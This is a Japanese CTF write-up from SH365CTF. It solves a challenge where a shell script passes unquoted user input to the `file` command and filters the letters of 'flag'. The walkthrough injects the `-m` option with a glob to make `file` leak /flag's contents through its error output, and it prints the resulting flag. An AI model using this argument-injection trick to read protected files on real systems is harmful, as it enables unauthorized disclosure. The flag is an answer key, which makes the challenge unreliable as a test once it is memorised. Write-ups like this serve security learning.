- Source: SH365CTF
- Author: singetu0096
※ SH365CTFはSecHack365(2024 4th Event Week)にて、有志によって非公式に開催されたCTFです。
以下のスクリプトが動いている。flagは/flag
に書いてあるらしい。
read -p "Input a file path: " filepath
if echo "$filepath" | grep -q "[flag]"; then
echo "You can't use 'f','l','a','g'" #You can't read the flag!
else
file $filepath
fi
exit 0
$filepath
に対して任意の文字列を入れることができる。ただし、/[flag]/
は使えない。
しばらくスクリプトを眺めていると、if句では"$filepath"
とダブルクオーテーションで囲っているのにelse句では$filepath
と囲っていないことに気付いた。すなわち、オプション付きでfileコマンドを実行することができる。
Input a file path: piyo
piyo: ASCII text, with no line terminators
---
Input a file path: -b piyo
ASCII text, with no line terminators
fileコマンドのオプションについて調べてみると、-f
というオプションでファイルをリストとして渡せるらしい。そしてファイルが見つからない場合、ファイルの中身がエラーとして出力される。これは使えそう。
$ file -f piyo
hoge: cannot open `hoge' (No such file or directory)
hogefuga: cannot open `hogefuga' (No such file or directory)
hogefugapiyo: cannot open `hogefugapiyo' (No such file or directory)
しかし、-f
は弾かれてしまうので同様にファイルの中身を出力できる他のオプションを探す。
調べていると-m
というマジックファイルを指定するためのオプションを発見した。これも-f
と同様エラーを出力する。
$ file -m piyo *
piyo, 1: Warning: offset `hoge' invalid
piyo, 2: Warning: offset `hogefuga' invalid
piyo, 3: Warning: offset `hogefugapiyo' invalid
file: could not find any valid magic files! (No such file or directory)
これを使って、/[flag]/
を使わずに/flag
を読み出してあげれば良い。
Input a file path: -m /[e-h]??? /*
/flag, 1: Warning: offset `SecHack365{f113_57r4n63_m461c}' invalid
flagが得られた。
SecHack365{f113_57r4n63_m461c}